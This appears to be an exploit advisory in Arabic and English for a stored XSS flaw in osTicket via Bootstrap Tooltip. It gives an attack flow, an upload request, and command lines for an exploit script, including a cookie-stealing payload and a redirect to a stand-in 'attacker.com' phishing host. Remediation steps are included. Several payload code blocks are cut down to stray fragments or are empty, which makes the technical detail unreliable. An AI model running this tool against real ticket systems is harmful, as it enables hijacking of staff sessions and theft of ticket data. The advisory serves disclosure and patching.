Share
## https://sploitus.com/exploit?id=E65B20CE-FF16-5D76-BB50-EC94F3D77068
# ─── CVE-2026-36214 ───
# 🏴 AMN SECURITY 🏴
### مركز أبحاث الأمن السيبراني | Cyber Security Research Center
[](https://amn.amnoffsec.workers.dev/)
[](https://www.instagram.com/ixctw)
[](mailto:ayman.mahmoudoffsec@gmail.com)
---
# ⚠️ ثغرة XSS مخزنة في osTicket عبر مكون Bootstrap Tooltip
### CVE-2026-36214 | CVSS 8.7 | عالية الخطورة
---
### 📋 الملخص التنفيذي
ثغرة أمنية من نوع **Cross-Site Scripting (XSS) مخزنة** في نظام إدارة التذاكر **osTicket** (الإصدارات 1.10 حتى 1.17.7 و 1.18.0 حتى 1.18.3)، تنشأ من استخدام مكون **Bootstrap Tooltip 3.3.4** المعروف بثغرة **CVE-2019-8331**.
تسمح هذه الثغرة لمستخدم عادي (غير مُصادق عند إنشاء التذكرة) بحقن كود JavaScript ضار في رسالة التذكرة. عند عرض هذه الرسالة من قبل **وكيل (Agent)** أو **مسؤول (Admin)**، يتم تنفيذ الكود في سياق جلستهم، مما يسمح بسرقة الجلسة والتحكم الكامل بنظام التذاكر.
| العنصر | التفاصيل |
|--------|----------|
| **CVE** | CVE-2026-36214 |
| **CVSS** | 8.7 (High) |
| **النوع** | Stored Cross-Site Scripting (XSS) |
| **المنتج** | osTicket |
| **الإصدارات المتأثرة** | v1.10 - v1.17.7, v1.18.0 - v1.18.3 |
| **المكون الضعيف** | Bootstrap Tooltip 3.3.4 (CVE-2019-8331) |
| **الصلاحية المطلوبة** | بدون مصادقة (افتراضياً) |
| **التأثير** | استيلاء كامل على جلسات الوكلاء والمسؤولين |
---
### 🔍 تفاصيل الثغرة
osTicket هو نظام تذاكر مفتوح المصدر يستخدم على نطاق واسع في المؤسسات. يسمح للمستخدمين برفع محتوى HTML وملفات مرفقة ضمن التذاكر.
#### آلية الهجوم
```
[مستخدم] ← يرفع ملف JavaScript ضار كملف مرفق في تذكرة
│
▼
[نظام osTicket] ← يخزن الملف ويعيد رابط تحميل مباشر
│ Content-Type: text/javascript (دون قيود)
▼
[مستخدم] ← يرسل تذكرة تحتوي على HTML ضار
│ يستخدم Bootstrap Tooltip data-template
▼
[وكيل/مسؤول] ← يفتح التذكرة لعرضها
│
▼
[Bootstrap Tooltip] ← يعالج data-template ← يحمل ويشغل JavaScript
│
▼
[اختراق جلسة الوكيل/المسؤول]
```
#### شجرة الهجوم
```
">
```
#### لماذا تعمل الثغرة
1. **Bootstrap Tooltip 3.3.4** (CVE-2019-8331) يسمح بحقن HTML عبر `data-template`
2. **htmlLawed** لا يقوم بتصفية السمة `data-template` بشكل كافٍ
3. **رفع الملفات بدون قيود**: يمكن رفع ملفات JavaScript مع `Content-Type: text/javascript`
4. **CSP متساهل**: سياسة أمان المحتوى تسمح بتنفيذ JavaScript من نفس المصدر (same-origin)
---
### 💥 سيناريو الهجوم بالتفصيل
#### الخطوة 1: رفع ملف JavaScript ضار
```
POST /upload.php HTTP/1.1
Content-Type: multipart/form-data
[attachment: exploit.js]
```

#### الخطوة 2: الحصول على رابط التحميل المباشر
بعد الرفع، يتم إرجاع رابط مباشر للملف:
```
http://target-osticket.com/file.php?key=abc123&expires=...
```


#### الخطوة 3: إنشاء التذكرة الخبيثة
```html
">
```

#### الخطوة 4: التنفيذ
عندما يفتح وكيل أو مسؤول التذكرة:

#### تجاوز CSP عبر نفس المصدر
سياسة CSP في لوحة التحكم تسمح بـ JavaScript من نفس المصدر فقط:

#### إعادة التوجيه عند منع رفع JS
إذا تم منع رفع ملفات JS، يمكن استخدام iframe مع data URI:
```html
">
```

---
### 🧪 استخدام الأداة
```bash
# رفع ملف JavaScript ضار
python3 CVE-2026-36214.py -t https://target-osticket.com --upload exploit.js
# إنشاء تذكرة خبيثة
python3 CVE-2026-36214.py -t https://target-osticket.com --ticket \
--js-url "http://target/file.php?key=abc123"
# وضع هجوم كامل
python3 CVE-2026-36214.py -t https://target-osticket.com --auto \
--payload "alert(document.cookie)"
# استخدام iframe data URI (عند منع رفع JS)
python3 CVE-2026-36214.py -t https://target-osticket.com --iframe \
--redirect "https://attacker.com/phish"
# فحص الهدف
python3 CVE-2026-36214.py -t https://target-osticket.com --check
```
#### الخيارات المتاحة
| الخيار | الوصف |
|--------|-------|
| `-t, --target` | رابط osTicket المستهدف |
| `--check` | فحص وجود الثغرة فقط |
| `--upload` | رفع ملف JavaScript ضار |
| `--ticket` | إنشاء تذكرة بالحمولة |
| `--auto` | هجوم أوتوماتيكي كامل |
| `--js-url` | رابط ملف JavaScript |
| `--payload` | كود JavaScript للتنفيذ |
| `--iframe` | استخدام iframe data URI |
| `--redirect` | رابط إعادة التوجيه |
| `--proxy` | بروكسي HTTP |
| `-v, --verbose` | إظهار تفاصيل إضافية |
---
### 🛡️ الإجراءات العلاجية
| الإجراء | الأولوية | الوصف |
|---------|----------|-------|
| **تحديث osTicket** | 🟢 فوري | الترقية إلى 1.17.8 أو 1.18.4 |
| **تحديث Bootstrap** | 🟢 فوري | تحديث Bootstrap إلى 3.4.1+ |
| **تقييد رفع الملفات** | 🟡 مهم | منع رفع ملفات JavaScript في إعدادات Admin Panel |
| **تشديد CSP** | 🟡 مهم | إضافة `script-src 'nonce-...'` لسياسة الأمان |
| **تدقيق التذاكر القديمة** | 🟡 مهم | مراجعة التذاكر بحثاً عن حمولات XSS |
#### منع رفع ملفات JavaScript
يمكن للمسؤول منع رفع ملفات JS من خلال إعدادات المرفقات في لوحة التحكم:
```
Admin Panel → Settings → Tickets → Attachments
→ Allowed File Types: إزالة js, jsx, mjs
```
---
### 📊 التأثير
| المستوى | التأثير |
|---------|---------|
| **وكيل (Agent)** | 🔴 استيلاء على صلاحيات الوكيل → قراءة/رد/تحويل التذاكر |
| **مسؤول (Admin)** | 🔴 استيلاء كامل → تعديل الإعدادات، إنشاء حسابات، DoS |
| **السرية** | 🔴 تسريب جميع التذاكر والمرفقات |
| **السلامة** | 🔴 تعديل البيانات والإعدادات |
| **التوفر** | 🟡 يمكن تعطيل النظام عبر تغيير الإعدادات |
---
### 🔗 المراجع
- **NVD**: https://nvd.nist.gov/vuln/detail/CVE-2026-36214
- **CVE-2019-8331**: Bootstrap Tooltip XSS
- **osTicket**: https://osticket.com/
- **CWE-79**: Improper Neutralization of Input During Web Page Generation
> ⚠️ **إخلاء مسؤولية**: هذا التقرير لأغراض تعليمية وبحثية فقط. استخدام هذه المعلومات لأغراض غير قانونية يتحمل المستخدم مسؤوليته بالكامل.
---
### 🔗 تواصل مع AMN SECURITY
[](https://amn.amnoffsec.workers.dev/)
[](https://www.instagram.com/ixctw)
[](mailto:ayman.mahmoudoffsec@gmail.com)
---
# ⚠️ CVE-2026-36214 — osTicket Stored XSS via Bootstrap Tooltip
### CVSS 8.7 | HIGH | Stored Cross-Site Scripting
---
### Executive Summary
**CVE-2026-36214** is a **Stored Cross-Site Scripting (XSS)** vulnerability in **osTicket** versions 1.10 through 1.17.7 and 1.18.0 through 1.18.3, caused by the inclusion of the vulnerable **Bootstrap Tooltip 3.3.4** component (CVE-2019-8331).
An unauthenticated user can craft a malicious ticket message that, despite passing through htmlLawed HTML sanitization, results in arbitrary JavaScript execution when viewed by Agents or Admins.
| Field | Value |
|-------|-------|
| **CVE** | CVE-2026-36214 |
| **CVSS** | 8.7 (High) |
| **Type** | Stored Cross-Site Scripting (CWE-79) |
| **Product** | osTicket |
| **Affected Versions** | v1.10 - v1.17.7, v1.18.0 - v1.18.3 |
| **Impact** | Full agent/admin session compromise |
### Attack Flow
1. Upload malicious JS file as ticket attachment
2. Create ticket with Bootstrap Tooltip XSS payload referencing the JS file
3. When agent/admin opens the ticket → JS executes in their session context
### Tool Usage
```bash
# Check vulnerability
python3 CVE-2026-36214.py -t https://target-osticket.com --check
# Upload malicious JS
python3 CVE-2026-36214.py -t https://target-osticket.com --upload exploit.js
# Create malicious ticket
python3 CVE-2026-36214.py -t https://target-osticket.com --ticket --js-url "http://target/file.php?key=abc"
# Full auto-attack
python3 CVE-2026-36214.py -t https://target-osticket.com --auto --payload "alert(document.cookie)"
```
### Remediation
| Action | Priority | Description |
|--------|----------|-------------|
| **Update osTicket** | 🔴 Immediate | Upgrade to 1.17.8 or 1.18.4+ |
| **Update Bootstrap** | 🔴 Immediate | Update Bootstrap to 3.4.1+ |
| **Restrict Uploads** | 🟡 Important | Block JS file uploads in Admin Panel |
| **Harden CSP** | 🟡 Important | Add `script-src 'strict-dynamic'` policy |
### References
- **NVD**: https://nvd.nist.gov/vuln/detail/CVE-2026-36214
- **CVE-2019-8331**: Bootstrap Tooltip XSS
- **CWE-79**: Improper Neutralization of Input
---
### Connect with AMN SECURITY
🌐 **Website**: https://amn.amnoffsec.workers.dev/
📸 **Instagram**: https://www.instagram.com/ixctw
📧 **Email**: ayman.mahmoudoffsec@gmail.com
---
> ⚠️ **Disclaimer**: This report is for educational and research purposes only.